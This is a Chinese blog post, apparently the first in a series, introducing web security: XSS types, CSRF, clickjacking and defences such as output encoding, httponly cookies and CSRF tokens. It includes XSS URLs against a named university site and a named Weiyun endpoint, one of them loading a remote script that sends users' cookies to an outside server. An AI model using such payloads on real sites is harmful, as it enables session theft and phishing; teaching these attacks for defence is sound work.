Web安全攻防系列[1]-了解Web安全

安全是个很有意思的事情,我从高中高一开始就开始每月购买《黑客X档案》。那时大概是06,07年左右,很幸运经历了国内网络安全刚刚起步且该类型出版物还很活跃的年代,只可惜自己没有百分百投入进去,不然说不定可以做一名自己向往的安全工程师了。

好像自从09年开始,国内的黑客类型的出版物开始慢慢消失了,也包括论坛在内。于此同时,站长的好日子好像也不好过了,各种备案和审查机制开始严格推行。也是从09年开始我也没怎么看过黑客杂志了。但是当年从杂志上学到的一些皮毛,真的对我影响很大。 因为我微微感觉安全技术很多时候是一个思路的问题,并不一定完全是开发高手才能有这种寻找漏洞的思路,而要有这种耍小聪明的意识。

所以可能受当年读杂志的影响,我对安全这块的东西还是有很大兴趣。现在虽然做前端,可以借助这个机会偶尔瞅一下前端方面的安全知识。去年来到腾讯,竟然见到了当年《黑客X档案》的主编,也已经在腾讯的安全部门打工,不禁心中激动感慨万分。

下文会整理一些安全方面的基础知识和技巧,算是自己学习过程中的心得。

安全概念和常见手法

安全的本质是信任的问题。 要对产生关系的行为或数据按照某种规则检查后才能信任他,当然这个信任条件要把握好度。过度的检查和限制带来的将是用户体验的下降。企业应该将安全检查贯穿于整个软件生命周期中。

web安全分类

  • 浏览器本身被挂马,即客户端安全
  • 恶意网址钓鱼;(当然钓鱼也可以跟xss结合起来,xss攻击知名网站之后,再注入逻辑进行钓鱼肯定成功率更大)
  • 著名的前端安全漏洞:xss,csrf,点击劫持clickjacking。
  • 浏览器插件安全,chrome之类的插件如果是恶意,可能会利用chrome提供给插件的API窃取私密。
  • 服务端sql注入: 通过sql拼接来注入后端逻辑,盗取后端数据库里的重要信息;甚至利用sql函数在服务器上生成木马等文件。

XSS

本质是用户数据变成了html代码或者js指令,混淆了开发者原来的意思。

在我毕业前,我发现我们学校的这个网站的搜索功能是存在xss注入的,http://graduate.cug.edu.cn/search.asp?title=%3E%3Ca%20href=%22javascript:alert(1)%22%3Egood%3C/a%3E%3Cinput%20&pageno=1
现在貌似修复了JavaScript的注入,但依然可以注入自己的HTML代码进去,甚至可以加载自己的css到对方页面中:
(20170823更新: 我校这网站已经换成jsp开发了,修复了该漏洞…我勒个去)

利用代码如下(请勿非法利用):

1
http://graduate.cug.edu.cn/search.asp?title=%3E%3Ca%20href=%22http://www.cuiyongjian.com%22%3Egood%3C/a%3E%3Clink%20href=%22http://www.cuiyongjian.com/content/templates/weisayheibai/style.css%22%20type=%22text/css%22%20rel=%22stylesheet%22%3E%3Cinput%20&pageno=1

另外,现代的chrome浏览器也是禁止向url上添加<script>标签发起请求的。

反射型xss

反射型的意思就是,用户传入参数简单的返回,或者黑客精心构造,就在前台返回一个可执行的script标签脚本。这个恶意脚本的内容可能是直接eval一个短代码,来执行存储在其他地方的长代码(例如hash),或者直接是一个script引用,引用跨站的恶意脚本。 一般用来窃取用户页面cookie传到黑客服务器,或者利用用户cookie进行恶意操作。

这种类型的相对来说要多一些,因为开发者可能遗漏了对用户输入的判断。比如著名的腾讯就发生过腾讯地图某个页面存在可以反射xss的漏洞。另外我在内网看到SNG的一个例子是讲某个CGI接口会返回一个如下的回调:

1
2
3
4
5
6
7
8
9
<script>
paret.get_R8CF3ED8B_D105_4565_B616_2399A1923825({

ret: '...', // 返回码

file_name: 'GET参数中的文件名'

});
</script>

而开发者没有对请求的filename参数进行过滤,而反射回来的file_name会写入页面dom。所以就给了黑客可乘之机。 基于此漏洞,可以通过url注入一个这样的代码:

1
http://web.cgi.weiyun.com/weiyun_web_vircgi.fcg?filename=<table background=javascript:(function() {t=document.createElement('script');t.src='http://10.12.198.14/xss/fishing/xss.js?cookie='+document.cookie;document.body.appendChild(t);})(); />

当然,你要url编码一下,然后结果就是background的伪协议代码在浏览器执行,从而注入了一个大大的 – xss.js.
且注入的同时用户的cookie也被以get方式发送给黑客服务器。 然后,我们可以在xss.js中做很多操作,例如修改dom直接将weiyun的页面改造成一个钓鱼页面,这样不仅偷了用户cookie,甚至能继续利用xss漏洞进行钓鱼(咦,我黑学校网站的时候咋没想到呢~ )

存储型xss

反射型是利用了一个有漏洞的逻辑代码进行反射,而存储型xss是比较持久的,这个恶意js已被注入后端持久层,会导致xss可能存在一个正常文章页面里,可能存在论坛评论区里。还可以在存储型xss页面里iframe等方式get一个反射型xss页面。让反射型xss也更容易在这里触发,由反射型变成了持久型。

dom型

这属于纯前端的xss漏洞,比如一个网页他前端代码会根据不同条件产生数据到前端的html里。 常发生在innerHTMLdocument.write等代码不严谨的地方。 由于前端MVC框架或者说前端SPA富应用的流行,这种漏洞可能也会变得多一些,所以我们在前端进行dom生成的时候也要谨慎对待用户自定义的部分。

防范:

对前端脚本信任的破裂导致我们要给cookie加一层防护

给cookie加上httponly来防范cookie劫持:要检查每一个信任关系。比如之所以敢把cookie放到本地是信任浏览器同源策略,不会让其他域下的脚本来读取我们自己页面的cookie。但之所以后来要设置为httponly的cookie是因为xss攻击导致页面上的脚本可能不被信任。xss会偷我们本地cookie,我们就得用httponly不能让他偷。

开发者应谨记于心:输入输出检查

xss很多都通过注入在有漏洞的位置一些普通用户不可能用到的特殊的字符,以实现脚本注入。比如让js反射回来,或者存储到页面中。 所以要对输入进行过滤或者编码。

  1. xss filter不考虑输出语境的话,容易改变原义,比如引号转义对于输出到js代码块管用,对于输出到html转义无效就改变了原来含义。
    所以采用输出转义,输出html内容的时候,进行html转义实体字符,就不会产生混淆。

  2. 但是如果要输出到html的onclick这种,转义后会被htmlparser解析,也能xss,此时要javascriptEncode。

  3. 如果是输出到script标签中的js变量代码。为了防止其执行多余的恶意脚本。就把这个输出内容放到引号里面,当作字符串。这时黑客想攻击就得自己闭合前引号,而我们为了防止xss,输出时对其进行javascriptEncode(会对js特殊字符编码成16进制数\uUnicode,也就是当字符用了呗)。

  4. 输出css内容块,由于这里面xss非常多样化。所以尽量别在style样式里面输出东西。非要输出的话,可采用类似于jsEncode。
    如果是渲染到a链接里的url,则如果用户控制后面的参数等信息,务必对后面的参数和hash等内容进行URLl编码。 url编码其实本意是为了避免后面跟的查询参数等内容与url规定的字符产生歧义,但在a链接里面进行url编码,既是为了不产生歧义,又是为了不造成脚本注入。 注意这里不能用html编码,因为html 编码后的url浏览器不认识。

  5. 富文本:这种要采用白名单机制,解析用户提交的html富文本,只允许特定的标签。不能出现事件等,也不能允许用户自定义style。 有针对富文本的xss filter的开源库。

有哪些字符需要转义输出?

对html来说,应该转义那些所有的html标签开关闭合符号,如 < >, 如果是要输出到帖子里的内容应该用白名单允许某些标签存在,比如 <p> <br> 之类的。 还得防止他在标签事件里加上js代码,所以还要对事件里的代码进行转义,也是采用

对js来说,应该防止其运行。比如你的js脚本会拼接用户输入的一段 字符串 的场景,如服务端的ejs模板引擎中: <script>alert('<% obj.str %>')<script>
在这种场景下,js方面应该把输入内容的所有跟js语法相关的都给转义成\u+unicode的形式,比如 ; var eval " ',就把它们当做一个普通js字符(否则他的双引号可能会闭合掉你的字符串,然后他自己的代码就暴漏在字符串之外可以执行了)。由于本来的业务场景就是希望用户提交一段字符串放到js里当字符串用,所以我们把它转换为\u+unicode的方式并没有影响业务。

CSRF:

CSRF是跨站脚本攻击,利用同一台电脑同一台浏览器上同时打开了多个网站的情况,或者cookie未失效的情况。恶意网站会在自己站点内发送跨域请求,如果对方网站有csrf漏洞,可能就中招了。

解决方案

  • token:要让某些验证具有不可预测性,使用每次变化的又不能推算的。比如使用每次访问(提交)等敏感操作的时候都要提交一个token给服务器来防止csrf提交数据。也就是说在没有xss的情况下,黑客是无法拿到目标页面里token隐藏input,或者cookie的。所以黑客通过在黑客页面构造get或构造form post都无法添加上token。【token可以放到cookie或input因隐藏框里】
    使用验证码。
  • 检查referer,黑客利用csrf发起的请求显然refer是其他域名。
  • 严格限制cookie域,避免全站通用的cookie

对于服务端验证,除了token方案。还有个双cookie方案,适合ajax异步请求的情况。
意思是在提交前先用js读取用于验证的cookie值加入到提交字段。这样就形成了双提交(验证字段有两份,一份在cookie中,一份在POST或URL中)。显然单纯的csrf只能让请求中带有cookie但是并不能读取cookie加入到POST或URL中

点击劫持

防点击劫持:(不让我的页面放到黑客的iframe里)

1
2
3
if(top.location ! = location ) {
top.location = self.location;
}

总结

保护Web安全,需要各方共同努力。

  • 浏览器厂商: 恶意网址数据库防钓鱼,对网址中是否有脚本进行xss检测。

  • 开发人员:不可信任的第三方来源脚本,只要使用了第三方资源,都有可能中招。使用https: 使用了数字证书,摘要算法,非对称加密,对称加密。 可以防止中间人的注入,如运营商流量劫持。

Refer

http://www.cnblogs.com/shytong/p/5308667.html